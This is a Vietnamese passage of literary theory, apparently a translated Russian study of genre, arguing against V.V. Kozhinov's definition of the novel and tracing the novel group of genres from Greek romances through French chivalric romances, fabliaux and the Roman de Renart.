Đồng thời, trong văn học của chúng ta, đặc biệt vào giai đoạn cuối chiến tranh xuất hiện một loạt nghệ sĩ tài năng – đặc biệt về thể loại ký – ghi chép. Đó là Ôveskin, Tenđriacốp, Đôros và những người khác.
Như vậy là, từ văn học thời cổ, đến văn học Tây Âu, văn học Nga, trải qua các thời đại lịch sử khác nhau đã hiện diện một loại tác phẩm riêng biệt – nhóm thể loại thế sự – rất khác nhau về tư tưởng nội dung, cụ thể của mình, về cảm hứng đa dạng, về hình thức thể loại của mình trong sự phân biệt về thể loại lịch sử – dân tộc, với cả thể loại tiểu thuyết về quan điểm nhận thức nội dung.

IV. NHỮNG THỂ LÃNG MẠN TRONG TỰ SỰ
Muộn hơn có tính lịch sử trong so sánh với các thể loại “thế sự đạo đức”, đã xuất hiện một nhóm thể loại mà trong đó thể loại tiểu thuyết là thể loại lớn và quan trọng nhất, vì vậy nhìn chung có thể gọi nó một cách có điều kiện là nhóm tiểu thuyết.
Bắt đầu từ thế kỷ XIX tiểu thuyết đạt được sự phồn thịnh và trở thành loại thể dẫn đầu trong tất cả các nền văn học châu Âu, cuốn hút sự chú ý lớn nhất của các nhà văn, nhà phê bình và toàn bộ giới văn học.
Cùng với sự thiếu vắng phân đoạn của nhóm thể loại “thế sự – đạo đức” trong khoa học và phê bình, tiểu thuyết từ thời Hêghen nổi tiếng là thể loại thay thế sử thi anh hùng, chừng như trở thành “sử thi thời đại mới”. Nó ngày càng trở thành đối tượng nghiên cứu khoa học và chủng loại khác nhau của các định nghĩa lý luận. Vào mươi năm cuối trong mối liên hệ với cuộc khủng hoảng của môn ngữ văn Rô – man, trong văn học một số nước tư sản diễn ra những cuộc tranh luận kịch liệt về số phận của thể loại này, về những khả năng của nó, quá khứ và tương lai của nó. Những cuộc tranh luận ấy đôi khi có sự biểu hiện rõ ràng tính chất khuynh hướng – ý thức hệ.
Đồng thời trong việc nghiên cứu tiểu thuyết cũng bộc lộ một số sai sót lý luận của các nhà nghiên cứu văn học, chủ yếu là của nước ngoài nhưng một phần là của Nga. Nó nằm ở chỗ, các nhà khoa học nhìn nhận thể loại không như một trong “những hình thức phát triển” của nội dung văn học nghệ thuật mà như “hình thức biểu đạt” của nội dung ấy. Họ cho rằng thể loại đó là cấu trúc toàn vẹn của tác phẩm văn học, hoặc như các nhà hình thức của chúng ta trong những năm 1920 đã nói là một hệ thống nào đó của các thủ pháp kết cấu, rằng các thể loại khác nhau là do những cấu trúc hình thức khác biệt.
Tuy nhiên như chúng ta đã nói điều đó ở trên rằng, không một thể loại nào là không có và không thể có sự giống nhau về cấu trúc của mình trong toàn bộ thời gian phát triển lịch sử của mình. Thể loại – đó chính là một và hơn nữa là một phương diện trừu tượng, “có tính loại hình học” của nội dung tác phẩm nghệ thuật. Nhưng chính vì hình thức các tác phẩm, tất cả hệ thống những nguyên tắc và thủ pháp của cấu trúc của chúng được xác định, tất nhiên, không bởi một phương diện nào mà là bởi tất cả các phương diện nội dung của chúng và trước hết bởi những đặc điểm lịch sử cụ thể của nó – bởi hệ đề tài, toàn bộ các vấn đề, những thái độ tư tưởng – cảm xúc của các nhà văn đối với đời sống – bởi cảm hứng các tác phẩm của họ.
Nhưng nội dung các tác phẩm văn học, trong toàn thể của chúng, thường xuyên thay đổi một cách lịch sử. Đồng thời, những đặc điểm hình thức trong toàn bộ tính toàn vẹn giá trị mỹ học của nó, nói cách khác là phong cách của tác phẩm cũng thay đổi. Vì vậy, mỗi thể loại trong sự phát triển lịch sử của mình được biểu hiện trong những phong cách khác nhau nhất, đặc biệt là trong chính các hệ thống khác biệt của các thủ pháp kết cấu – cốt truyện. Có nghĩa không ở một thể loại nào không là và không thể là một cấu trúc đặc biệt của riêng nó mà luôn luôn có ít hoặc nhiều giống một cấu trúc nghệ thuật nào đó.
Ngược lại, các tác phẩm của những thể loại khác nhau trong sáng tác của một nhà văn hoặc những nhà văn khác nhau của một trào lưu, lại thường biểu lộ những đặc điểm giống nhau về phong cách một cách lạ lùng, trong khi đó như những tác phẩm cùng một thể loại trong sáng tác của những nhà văn khác nhau và trong những trào lưu khác nhau, lại rất khác biệt về những đặc điểm hình thái của mình, đặc biệt là mặt cấu trúc. Vì vậy việc tìm kiếm một sự thống nhất chung nào đó của cấu trúc trong những tác phẩm khác nhau của một thể loại là một việc hoàn toàn vô hy vọng.
Có thể thành công chỉ là những sự nghiên cứu đi tìm những đặc tính (loại hình học) thể loại chung, được lặp lại một cách lịch sử trong nội dung các tác phẩm của những dân tộc và các thời đại lịch sử khác nhau. Điều đó liên quan đến thể loại tiểu thuyết. Trong nghiên cứu văn học Nga trải qua mười đến mười hai năm gần đây nổi lên làn sóng lớn về tư duy lý luận mà việc tiếp cận nghiên cứu thể loại càng trở nên được lưu ý.
Nhưng tìm kiếm những đặc điểm nội dung lặp lại một cách lịch sử của thể loại tiểu thuyết là một công việc không đơn giản chút nào. Ví được có thể nêu lên hệ đề tài của chúng với tư cách quyết định phương diện nội dung tác phẩm, những đặc điểm của các tính cách cơ bản và những quan hệ của chúng được miêu tả trong các tác phẩm.
Có thể thấy một cái gì đó tương tự trong công trình rất lý thú và có tính tư tưởng “Nguồn gốc tiểu thuyết” do V.V.Kôginôv viết. Tác giả cuốn sách này ngay từ những trang đầu tiên của lời nói đầu đã nêu lên định nghĩa của mình về tiểu thuyết như một tác phẩm 1/trần thuật giới thiệu “câu chuyện về các sự kiện”, 2/ “sử thi” khao khát “bao quát, thu hút vào mình đời sống nhân loại thời đại trong tất cả mọi phương diện của nó” và 3/ văn xuôi, được “viết thành văn”. Ông xem tất cả điều đó là cái “ai cũng thừa nhận”, tất cả điều đó đối với ông là “hiển nhiên, không bàn cãi và bất di bất dịch”(1).
Thực ra thì không tranh cãi chỉ phần đầu của định nghĩa ấy: tiểu thuyết – là tác phẩm tự sự, không phải là trữ tình và không phải là kịch. Hai phần khác không có sự thừa nhận chung và tranh cãi. Và công việc, tất nhiên, không phải tranh cãi về thuật ngữ, về dấu hiệu thể loại, – nó, như đã nói, là thường khác biệt trong các ngôn ngữ dân tộc hiện đại khác nhau, – mà trong sự tranh luận về bản chất, trong tranh luận về các đặc tính thể loại. Thứ nhất, tiểu thuyết không thường xuyên miêu tả cuộc sống của mọi người “trong tất cả mọi phương diện của nó”, còn xa mới là một loại “bách khoa toàn thư” của đời sống dân tộc – thời đại của mình; còn nhiều tiểu thuyết với hệ đề tài rất hẹp nhưng không cản trở chúng trở thành tiểu thuyết. Thứ hai, tiểu thuyết không phải luôn luôn là văn xuôi, – có những tiểu thuyết bằng thơ. Và cuối cùng, nó không luôn luôn quan hệ với văn chương, với văn viết nghệ thuật mà có thể xuất hiện và phổ biến bằng miệng.
Từ một phía khác, như chúng ta đã thấy, có những tác phẩm tự sự vừa đa diện về hệ đề tài, vừa văn xuôi, vừa được viết thành văn, tuy nhiên lại không phải là tiểu thuyết mà là hình thức lớn của nhóm thể loại “thế sự – đạo đức”. Rable, Xvipht, Gôgôn, Sêđrin đã có những tác phẩm điển hình xuất sắc về nội dung này.
Như vậy các định nghĩa tiểu thuyết mà V.V. Kôginôv xuất phát từ đó, không đủ để phân chia thể loại này giữa các loại khác. Thiếu sót chính của định nghĩa ấy là ở chỗ nó chứa đựng trong mình chỉ những dấu hiệu hình thức và đề tài thể loại trong khi không đề cập đến cái chủ yếu của phương diện thể loại trong nội dung tác phẩm. Và điều đó bắt nguồn từ những tiền đề phương pháp luận của cuốn sách.
Khi cho rằng tiểu thuyết là “một hình thức toàn vẹn xác định của tác phẩm văn học, một kiểu cụ thể của cấu trúc nghệ thuật, một hệ thống duy nhất của những đặc điểm ngôn ngữ, hình tượng, kết cấu”, tác giả cuốn sách hiểu mối quan hệ qua lại của nội dung và hình thức tác phẩm như là “hình thức xuất hiện trong quá trình chiếm lĩnh nội dung mới, thu hút nó vào mình và hầu như trở thành sự biểu hiện dấu vết đậm đặc của nó”, rằng nội dung “chuyển vào” hình thức, “biến thành hình thức…”(1). Nếu diễn đạt một cách rõ ràng thì nội dung trở thành cùng một lúc với hình thức, còn hình thức như chỉ là nội dung được thể hiện trong cái đặc thù cấu trúc của nó.
Như đã nói, tác giả cuốn sách chú ý nhiều về tính chất đề tài, gắn với những hiện tượng đời sống, những tính cách con người và những quan hệ, sự kiện được phản ánh trong các tác phẩm của thể loại này hay thể loại khác mà trong trường hợp này là của tiểu thuyết. Các chương chủ yếu trong công trình nghiên cứu của ông nhằm giải quyết vấn đề những thay đổi và chuyển dịch nào trong đời sống xã hội của các nước Tây Âu đã sinh ra những tính cách người, mà những tác phẩm nghệ thuật lần đầu tiên có tính lịch sử đã tạo ra tiểu thuyết như một “kiểu cấu trúc nghệ thuật cụ thể”, tạo ra những tính cách mang tính “tiểu thuyết” trong tất cả hoạt động của mình và những quan hệ với thế giới xung quanh, tạo ra một hình thức thể loại có sức mạnh trong tương lai với những nội dung mới.
Tiểu thuyết như một thể loại mới đã xuất hiện – tác giả cho rằng – chỉ khi tất cả những quan hệ phường hội của xã hội phong kiến đã tan rã, khi xuất hiện trong xã hội những con người kiểu mới – những kẻ “cùng khổ, những kẻ cướp, những kẻ lêu lổng”, khi bắt đầu thời đại của “sự du đãng có tính quần chúng khắp nơi”, đánh dấu bước quá độ sang xã hội tư sản mới. Kiểu mới này của những người tự do khỏi bất kỳ những mối quan hệ cưỡng bức nào, những con người – lêu lổng và bị khinh rẻ đã trở thành đối tượng của sự quan tâm ngày càng mạnh trong văn học. Trên cơ sở đó đã xuất hiện “một trào lưu văn học hoàn chỉnh” (?) – “được gọi là tiểu thuyết bợm nghịch, phát triển mạnh mẽ từ cuối thế kỷ XVI đến giữa thế kỷ XVIII”(1).
Trong loại tác phẩm đó, có “sự tồn tại và ý thức của những cá nhân riêng lẻ” và điều này đã sản sinh ra “những nguyên tắc nghệ thuật” mới. “Hình tượng viễn du, kiểu con người vận động không ngừng – không chỉ bề ngoài, vật chất mà cả tinh thần, tâm lý – trở thành một trong những cơ sở cấu trúc thể loại”(2). Tất cả điều đó “sản sinh ra một cách tự nhiên hình thức đặc thù của thể loại – một hệ thống chỉnh thể những đặc điểm cốt truyện, kết cấu, ngôn từ nghệ thuật, nhịp điệu trần thuật, phương thức chính của sự tồn tại vật chất của tiểu thuyết (sách in phổ thông)”(3).
Có nghĩa là đời sống xã hội tạo những tính cách mới, chúng kích thích sự quan tâm đến mình và được phản ánh trong văn học và sinh ra một “kiểu cụ thể của cấu trúc nghệ thuật” mới, một thể loại mới. Nhưng đồng thời chỉ có cái khả năng “nắm bắt hiện thực”, “tưởng tượng sáng tạo” là cần thiết đối với chính các nhà văn như điều đó đã có được ở Hêghen. Không có gì nhiều hơn!.
Tất cả điều V.V. Kôginôv nói về sự vận động xã hội xuất hiện trong thời đại Phục hưng dẫn đến sự thay đổi trong văn học nghệ thuật không hồ nghi gì có quan hệ trực tiếp đối với vấn đề nguồn gốc tiểu thuyết và truyện ngắn như một nhóm mới của các thể loại trong sáng tác tự sự các dân tộc Tây Âu. Nhưng ông giải thích những điều đó hoàn toàn cứng nhắc và phiến diện.
Chỉ có một chỗ trong sách của mình V.V.Kôginôv tiện thể nói đến “nguyên tắc mới của sức nhìn nghệ thuật”(1) thế giới mà quả thực đã xuất hiện trong ý thức xã hội thời đại Phục hưng vì những thay đổi chủ yếu trong tương quan khách quan các lực lượng xã hội thời đại. Nhưng chính trong đó, theo ý chúng tôi chứa đựng thực chất vấn đề.
Nguyên tắc mới của sức nhìn thế giới hàm chứa khả năng xuất hiện phương diện thể loại mới trong nội dung phát triển nghệ thuật không phải phương diện đề tài mà là phương diện vấn đề – loại hình học. Nhưng đối với điều này thì cần thiết không phải là sự xuất hiện trong đời sống những kẻ lêu lổng, bịp bợm thoát khỏi cái quan hệ phường hội cũ. Đối với điều đó thì cần phải để cho ở những người tiếp xúc với sáng tạo nghệ thuật thức tỉnh những sự quan tâm tư tưởng mới – sự quan tâm đối với nguyên tắc “cá tính” ở trong bản thân và trong xã hội bao quanh chúng.
Mọi người đều biết – về điều này đã viết ở trên, trong liên hệ với vấn đề xuất hiện thái độ đa cảm và lãng mạn đối với đời sống – rằng thời đại Phục hưng đã là một giai đoạn phát triển lịch sử của các xã hội dân tộc Tây Âu, khi mà trong quá trình đó mất đi ý nghĩa tiến bộ chung các dân tộc đã qua của mình bởi chế độ quyền uy độc đoán cũ, ý thức xã hội tiến bộ đã giải phóng khỏi thế giới quan quyền uy. Khi đó nó đã bắt đầu đánh giá cao tính độc lập của cá tính, những nhu cầu cảm xúc và trí tuệ riêng, và cá tính con người như một tính cách xã hội. Điều chủ yếu ở đây là chỗ đã thức tỉnh sự quan tâm tư tưởng đến với những đổi thay và ngang trái của số phận cá nhân con người, đến những khả năng của sự phát triển trí tuệ và đạo đức riêng của nhân cách, đến sự hình thành tính cách của nó (theo những kiểu khác nhau) trong sự quy tụ những sự kiện bên ngoài, trong sự xung đột với những quan niệm và tiêu chuẩn quyền uy của thế giới cũ bất kể nó là cái nào. Chính điều đó quả thực là những tiền đề của việc xuất hiện thể loại tiểu thuyết, và cả nhóm thể loại tiểu thuyết.
Nhưng khi nào và ở đâu đã xuất hiện lần đầu tiên những tiền đề như thế dù chỉ một phần nào?
Không nghi ngờ rằng, tất cả các quá trình đã kể trên của nền nếp tư tưởng chính trị – xã hội với sức mạnh to lớn và quyết định, đã diễn ra trong các nước Tây Âu trong thời kỳ tan rã của chế độ phong kiến. Nhưng sớm hơn cả ở đông nam châu Âu, ở nước Hy lạp cổ đại đã xuất hiện quá trình tan rã của chế độ chiếm hữu nô lệ, nói chính xác hơn là của nền dân chủ “bảo hiểm” chủ nô với “thượng tầng kiến trúc” tư tưởng đa thần giáo uy quyền của nó. Và khi đó trong văn học nghệ thuật tất nhiên đã diễn ra những thay đổi tương tự trong mức độ yếu hơn nhiều và ít bền vững hơn ở Tây Âu thời đại Phục hưng. Ở đó cũng đã xuất hiện một vài tác phẩm nội dung có tính tiểu thuyết.
Trong cuốn sách của mình V.V. Kôginôv đã đặt câu hỏi ấy, vì sao hầu như chỉ đặc biệt chú ý đến truyện “Đaphnhix và Khlôia” của Lôngi và chứng minh rằng truyện ấy không phải là tiểu thuyết đích thực. Ở đây ông hoàn toàn đúng, “Đaphnhix và Khlôia”, quả thật, không phải là tiểu thuyết mà là truyện “thế sự – đạo đức” huê tình ca. Nhưng không nên quên rằng rõ ràng đã xuất hiện “Kheri và Kallirogopa” của Khariton (thế kỷ I – II), sau đó là “Ephiopika” của Hêliogopa (thế kỷ III) còn sớm hơn truyện huê tình của Lôngi. Đó là những tiểu thuyết phiêu lưu – ái tình thực sự. Trong những tác phẩm ấy, hoạt động không phải là những kẻ bịp bợm, lêu lổng bị mất địa vị giai cấp, mà là những người xuất thân quý tộc, nhưng họ đã biểu lộ một nhãn quan thế giới giống với điều mà về sau là mối kích thích cơ bản của việc xuất hiện tiểu thuyết trong thời đại Phục hưng. Trong hai tiểu thuyết ấy mô tả cuộc sống riêng, chính xác hơn – là số phận cá nhân của những bạn trẻ yêu đương bị xa cách nhau và trải qua những tai nạn, thử thách, đau khổ khác nhau, cuối cùng tất cả được đoàn tụ bằng hôn lễ hạnh phúc. Và những tai nạn của họ diễn ra giữa những cuộc chiến trong những chuyến du hành đường biển, trong thân phận tù binh chiến tranh, tù binh của những tên cướp tại các thành phố và đất nước khác nhau.
Nhưng sự tái diễn những mối quan tâm có tính tiểu thuyết trong thời gian về sau đã xảy ra không chỉ trong thời đại Phục hưng mà còn có phần sớm hơn – trong thời kỳ Tiền phục hưng. Thời kỳ “Tiền phục hưng” này đã được nói rõ ràng và đặc biệt sớm nhất trong sự phát triển văn hóa tinh thần và tư tưởng xã hội Pháp. Biểu hiện cụ thể của nó là giới hiệp sĩ miền nam nước Pháp, miền Prôvanx, với hình tượng phong nhã của cuộc sống của tư duy và những nhu cầu tư tưởng thẩm mỹ của nó lại xuất hiện khi ấy. Ở đó đã xuất hiện hình thức sớm nhất của sự phát triển nội dung thể loại tiểu thuyết – tiểu thuyết hiệp sĩ – đối với Tây Âu.
Say sưa với tư tưởng của mình xem tiểu thuyết phiêu lưu – bợm nghịch là bước phát triển đầu tiên của tiểu thuyết. V.V. Kôginôv rõ ràng coi thường những khuynh hướng đổi mới thể loại trong tiểu thuyết phiêu lưu – bợm nghịch, cố gắng bằng mọi cách đồng nhất nó với sử thi anh hùng cũ kiểu “Bài ca về Rôlăng” hay “Bài ca về Xid”. Vì vậy ông gọi cả cái này và cái kia một cách chung là “sử thi hiệp sĩ”. “Nhân vật bất kỳ nào của sử thi hiệp sĩ, – ông viết, – xét đến cùng đều thể hiện trong mình ý chí và sức mạnh của toàn bộ tập thể, là tượng trưng sức mạnh tổng hợp của nhiều người. Trong khi đó Til (Ulenspigel, – G. P) – đó là người dân thường chỉ dựa vào chính bản thân mình, vào khả năng tinh thần và thể xác con người duy nhất”(1).
Điều khẳng định này vị tất có thể thừa nhận là đúng. Trong giới hiệp sĩ khi đó đã nảy sinh quá trình “phân hóa của nguyên lý cá nhân”, đã xuất hiện lý tưởng mới của tính hào hiệp mà nó đã có không phải trong việc thực hiện lòng trung thành chư hầu đối với lãnh chúa, không phải ở sự tham gia dũng cảm trong những cuộc hành quân và trận chiến lịch sử dân tộc mà ở sự độc lập cá nhân biểu hiện trước hết nơi lòng trung thành với “người đàn bà đẹp” – đối tượng của tình yêu cá nhân, sự lựa chọn của trái tim – trong sự sẵn sàng hoàn thành điều kỳ diệu của lòng dũng cảm trong đơn độc đối với mỗi một mình nàng. Cái điều mà người hiệp sĩ đôi khi đã gặp trong đó những người khổng lồ và quái dị – điều đó liên quan đến hệ đề tài tiểu thuyết hiệp sĩ chứ không phải với những đặc điểm loại hình chung được lặp lại của toàn bộ các vấn đề của chúng. Nhưng trong quan hệ cuối cùng ấy thì những tiểu thuyết phiêu lưu – hiệp sĩ đã có những đặc tính chung với những tiểu thuyết phiêu lưu – bợm nghịch xuất hiện muộn hơn. Cái đặc điểm đó của những tiểu thuyết hiệp sĩ thời kỳ đầu mà chính là những trường ca theo hình thức thể loại của mình, – lại một lần nữa không liên quan gì với nội dung thể loại của chúng. Theo sự so sánh với những tiểu thuyết bợm nghịch thì các tiểu thuyết thuộc phong cách khác đã có chung điều đó.
Những tiểu thuyết hiệp sĩ Pháp thời sơ khai cũng như các truyện ngắn đặc trưng không chỉ bởi chúng miêu tả những chuyện phiêu lưu tình ái mà bởi trong mức độ lớn là trong các cuộc phiêu lưu ấy các nhân vật đã đối lập hoàn cảnh xung quanh mình với những tiêu chuẩn và đòi hỏi của nó. Chúng đã thể hiện sự độc lập của mình đối với các tiêu chuẩn ấy, đã biểu lộ trong mình những đặc điểm sự tự chủ cá nhân của các hành động và quyết định, thường trưng bày chúng cho các độc giả trong một ánh sáng mới, bất ngờ. Đó là đặc điểm mang nét đặc trưng chung của tất cả các tác phẩm nhóm thể loại tiểu thuyết.
Ví dụ như truyện ngắn bằng thơ, loại kiểu brêtônxki “lê”, khi ghi vào tuyển tập các tác phẩm thể loại này, được nữ thi sĩ Maria Phranxudxkaia sáng tác khoảng năm 1175. Lanval – một trong những hiệp sĩ của vua Artur đã thành người yêu của một cô gái đẹp như tiên và cô ta đòi hỏi chàng phải giữ mối tình của họ trong bí mật. Nhưng khi Ghênhievra – vợ của Artur muốn biến Lanval thành người yêu của mình thì anh ta đã không thể che dấu được rằng anh ta yêu một người đẹp khác. Nữ hoàng yêu cầu xác nhận điều đó nhưng hiệp sĩ không thể tự mình làm điều đó và đã bị trừng phạt. Khi đó người yêu của anh ta ngồi trên ngựa đi đến và mọi người đều thấy cô thực sự là nữ hoàng tuyệt mỹ. Và khi đó nàng đã phi ngựa, Lanval bất ngờ nhảy phóc lên ngựa của nàng từ phía sau và vút đi cùng nàng mãi mãi vào chốn thần tiên. Truyện ngắn tưởng tượng theo hoàn cảnh của mình và “định chuẩn” theo sự phản ánh đời sống. Nhưng điều đó dù sao vẫn là truyện ngắn, “người chị cả” của tiểu thuyết vốn thuộc nhóm thể loại mà tất nhiên nó khác biệt rõ về nội dung và phong cách của mình so với truyện ngắn của Bôccaxiô.
Đồng thời trong văn học Pháp đã xuất hiện những tiểu thuyết phiêu lưu – hiệp sĩ. Nổi tiếng nhất trong số đó là tiểu thuyết “Trixrăng và Idơn”, đặc biệt là trong dị bản thứ hai muộn hơn của mình. Trixrăng là một hiệp sĩ hùng mạnh đi khắp các nước hải ngoại, đánh thắng những địch thủ mạnh trong những trận quyết tử, thậm chí đã giết chết con rồng phun lửa. Tất cả điều đó là những tiếng vang của sử thi anh hùng nhưng nội dung chủ yếu của tác phẩm không ở đó. Nó ở trong sự khẳng định sức mạnh và sự bất khả chiến thắng của tình cảm cá nhân sâu sắc của hiệp sĩ với nữ hoàng tuyệt đẹp Idơn. Tình yêu này mạnh hơn bất kỳ sự ngăn cấm đạo đức nào đang ngự trị trong môi trường của chúng: nó tiếp tục cả khi Idơn trở thành vợ người chú của Trixrăng là hoàng đế “Mark”; nàng như cảm nhận được những cảnh phiêu lãng cô đơn và lâu dài, giữa những túng thiếu mà chúng có thể là cảnh chàng hiệp sĩ phải gánh chịu mặc dù chàng không phải là “kẻ lãng du”; nàng không dứt được sự suy nghĩ ấy ngay cả khi chàng hiệp sĩ bị trục xuất và đã lấy người vợ khác. Bị thương nặng, Trixrăng cử người tìm Idơn để nàng có thể cứu chữa cho chàng. Song khi người vợ hay ghen của người hiệp sĩ lừa chàng rằng người yêu của chàng không đến khiến chàng vì thế mà chết nhưng Idơn vẫn đến bên chàng, nằm xuống cạnh chàng và cùng chết. Tình yêu của hai con tim giới thượng lưu mạnh hơn các tiêu chuẩn đạo đức, hơn bất kỳ thử thách nào thậm chí cả cái chết. “Trixrăng và Idơn” – đó là bản trường ca theo hình thức thể loại của mình và là tiểu thuyết theo phương diện thể loại nội dung của mình. Mặc dù vậy nó vẫn hàm chứa những môtíp phụ của sử thi anh hùng, nó hiểu biết lại tính cách hiệp sĩ và những hoàng theo cách mới – nhìn thấy và khẳng định trong chúng quyền cá nhân về tự do đạo đức.
Cũng loại như vậy theo nội dung của mình là các trường ca của Krêchiên đơ Trua – “Êrek và Ênhiđa”, “Lanxelôt hay Hiệp sĩ xe ngựa”, “Iven hay hiệp sĩ Liv”, “Perxeval hay là truyện về Graal” v.v… Một số tiểu thuyết xuất hiện muộn hơn trong văn học Pháp có cái tên “huê tình ca” thường kể về tình yêu dịu dàng đã xuất hiện từ thiếu thời giữa các chàng trai và cô gái nhưng bị cách biệt bởi sự bất bình đẳng xã hội sâu sắc. Điều đó làm cho họ phân ly, chịu những thử thách và đau khổ đời sống nặng nề, những rủi ro khác nhau mà theo những quan niệm “định chuẩn” của những người sáng tác thì cuối cùng đều kết thúc êm đẹp. “Phluar và Blansphler” hay “Ôkaxen và Nhikôlet” là những tiểu thuyết như vậy.
Tính quy luật lịch sử của việc xuất hiện tất cả các tiểu thuyết phiêu lưu – hiệp sĩ ấy và cả những tiểu thuyết Pháp gần gũi với chúng ra đời trong những điều kiện xã hội của thời kỳ “Tiền phục hưng” có thể tìm thấy sự khẳng định với sự giúp đỡ tưởng chừng như rất song hành có tính văn học từ xa xưa – bằng con đường so sánh chúng với tác phẩm xuất sắc của văn học Grudia, bản trường ca “Dũng sĩ trong lốt da hổ” của Sôta Ruxtaveli, viết vào khoảng một phần tư đầu tiên của thế kỷ XIII. Đối với Grudia thời gian này về một mặt nào đó là thời đại “Tiền phục hưng”. Và trường ca của Ruxtaveli – đó cũng là tiểu thuyết phiêu lưu – hiệp sĩ theo nội dung thể loại của mình, trong đó những nhân vật chính của nó Avtanđin và Tarien – những dũng sĩ được tôi luyện trong chiến trận, dũng cảm và mạnh mẽ vô cùng nhưng cũng đầu hàng những tình cảm cá nhân cao thượng của mình cho tình yêu và tình bạn, sẵn sàng hiến dâng toàn bộ sự dũng cảm của mình và ngay cả cuộc sống để giúp đỡ bạn bè, vì tự do và hạnh phúc người mình yêu và đồng thời có thể cảm nhận được những tình cảm chân thành trìu mến. Phương diện này của những tính cách nhân vật được thể hiện rõ trong toàn bộ cốt truyện trường ca còn các tình tiết anh hùng thực ra chỉ là thứ yếu và có tính chất bổ trợ.
Nhưng bên cạnh những truyện ngắn, tiểu thuyết bộc lộ mối quan tâm tư tưởng của tầng lớp hiệp sĩ tao nhã, trong văn học Pháp muộn hơn một ít vào thế kỷ XIII xuất hiện những tác phẩm của những thể loại phản ánh thế giới quan tư tưởng của các tầng lớp xã hội tư sản thành phố. Những truyện thơ không lớn của loại này khác với tình huống sinh hoạt thường là khôi hài nhưng đôi khi cũng nghiêm chỉnh, được gọi cái tên là “pablio” (truyện thơ tiếu lâm – N.N.T).
Ví dụ như truyện thơ tiếu lâm “Tấm chăn phủ mình ngựa bị cắt ra” kể chuyện về một anh thị dân chắc là có chân trong một phường nào đó, theo yêu sách của vợ mình – con gái hiệp sĩ, đã quyết định đuổi người cha ra khỏi nhà mình và giao cho đứa con trai nhỏ của mình tấm chăn đắp ngựa để nó đắp. Nhưng cậu bé đã rọc đôi tấm chăn và sau khi đã làm việc đó, đã trả lời rằng nó giữ một nửa tấm chăn ngựa để cho cha mình khi mà ông ta già và nó cũng đã lớn và sẽ đuổi ông ta ra đường. Chàng thị dân xấu hổ và không chỉ giữ thân phụ ở lại mà còn luôn chăm sóc cho ông.
Cốt truyện này thuộc về truyện ngắn, nó chứa trong mình một mâu thuẫn xuất hiện bất ngờ mà sau đó được giải quyết nhanh chóng và bất ngờ gây nên sự thay đổi trong tính cách các nhân vật, trình bày chúng với độc giả từ một phương diện mới. Truyện ngắn kêu gọi không phải sự phá hủy mà là sự tuân thủ những tiêu chuẩn đạo đức cũ, nhưng lại biểu lộ sự quan tâm đến những hành động tự do và độc lập của cá nhân riêng lẻ. Nó đồng thời chứa đựng sự bức xúc xã hội: người già bị đuổi khỏi nhà theo yêu cầu của người phụ nữ khắc nghiệt có dòng họ hiệp sĩ, còn người thị dân và con trai của hắn là những người có lương tâm hơn.
Những tác phẩm tương tự đã xuất hiện đồng thời trong văn học thị dân Đức. Ở đó người ta gọi chúng là “svank”. Sự phát triển của các svank Đức biểu lộ đặc biệt rõ ràng tính chất họ hàng của các thể truyện ngắn và tiểu thuyết – khả năng kết hợp hàng loạt các đoạn truyện ngắn từ cuộc sống của một nhân vật nào trong một tác phẩm lớn hơn, xuất hiện tiểu thuyết từ một chuỗi truyện ngắn. Ví dụ như cuốn tiểu thuyết không lớn “Cha cố Amix” của Strkker là một loại truyện phiêu lưu của vị mục sư khéo léo và ranh mãnh trong khi quyên góp tiền bạc để xây dựng nhà thờ đã lừa những người tốt bụng để chiếm đoạt tiền nong của họ. Nhưng vấn đề ở đây không phải ở chỗ cha cố Amix đã mất tính giai cấp về mặt đạo lý mà là ở chỗ những người sáng tác tiểu thuyết đã coi khinh nó như đối với người đại biểu của toàn bộ tầng lớp của nó.
Điều có ý nghĩa và to lớn nhất từ các tác phẩm ban đầu của kiểu như vậy cũng đã xuất hiện trong văn học Pháp. Đó là bản trường ca phức tạp và rất nhiều nhánh trong cốt truyện của mình. “Tiểu thuyết về Lixa”(*) mà chúng ta đã nhận xét từ điểm nhìn cảm hứng của nó, còn bây giờ sẽ chú ý đến đặc điểm loại thể của nó. Đó là tiểu thuyết phiêu lưu – bợm nghịch thực sự trong hình thức phúng dụ được tạo dựng dần dần trong thời gian dài hơn cả trăm năm của hàng loạt tác giả. Trong đó về cơ bản kể lại cuộc đấu tranh của kẻ bịp bợm láu lỉnh, con cáo già Rênar, với đối thủ thường xuyên của nó là con sói ngu ngốc, thô kệch Idengrim, trong đó có sự tham gia của những con vật khác, từ con gà trống Santekler hoặc con chồn Grimber cho đến đại diện của chính quyền cao nhất – con sư tử Nôbl. Trong những thủ đoạn khôn khéo và thường hung bạo của mình Rênar thường xuyên có lỗi và bị lên án, nó bị đưa ra toà án, xoay sở, cải trang thành người đi lễ hội, giả bộ làm người sùng đạo và lại nhạo báng đối thủ của mình và cuối cùng trở thành người được sủng ái và thân cận của Nôbl.
Không nghi ngờ gì những nguyên mẫu của nhân vật phúng dụ ấy là những người rất gần gũi về bản chất tính cách của những kẻ lêu lổng, bịp bợm mà về sau đã trở thành đối tượng miêu tả trong các tiểu thuyết phiêu lưu – bợm nghịch thế kỷ XVI – XVIII. Những truyện phiêu lưu của Rênar tất nhiên đó là những sự kiện của đời sống riêng, nhưng bản thân nó lại là sự biểu hiện của cá nhân riêng lẻ, tự do trong nhận thức của mình và trong những hành động của mình với những chuẩn mực quyền uy nào đó. Và kết cấu của “Tiểu thuyết về Lixa” hoàn toàn phù hợp với những sự khái quát mà V.V.Kôginôv dùng làm cứ liệu cho các tiểu thuyết bợm nghịch Tây Ban Nha. Ở đây đồng thời có sự vận động và phát triển của tính cách được mô tả. Có cả sự không theo quy luật, sự ngắt mạch cấu trúc cốt truyện: những việc phiêu lưu của Rênar có thể nối tiếp và đi xa hơn. Ở đây cũng thiếu vắng sự thống nhất hành động bởi cốt truyện tiểu thuyết phân nhánh nhiều tình tiết phụ. Và tất nhiên việc phân chia các tình tiết thường mang tính bất ngờ. Sự miêu tả phúng dụ các con vật rất xa lạ với những câu chuyện “súc vật” có liên hệ với “Tiểu thuyết về Lixa”, – điều đó chỉ là “kho tàng” thi ca đã từ lâu mất đi “cơ sở” thế giới quan của mình.
Trong các thế kỷ XIV – XVI văn học Ý trải qua thời kỳ Phục hưng của mình trở thành văn học cổ điển, phát triển nhóm thể loại tiểu thuyết. Trong mục đích của chúng tôi, ở đây sẽ đề cập khá đủ truyện vừa của Bôccaxiô và các tiểu thuyết hiệp sĩ của trường phái phereraxki – Bôiađrô, Ariôxtô, Taxxô.
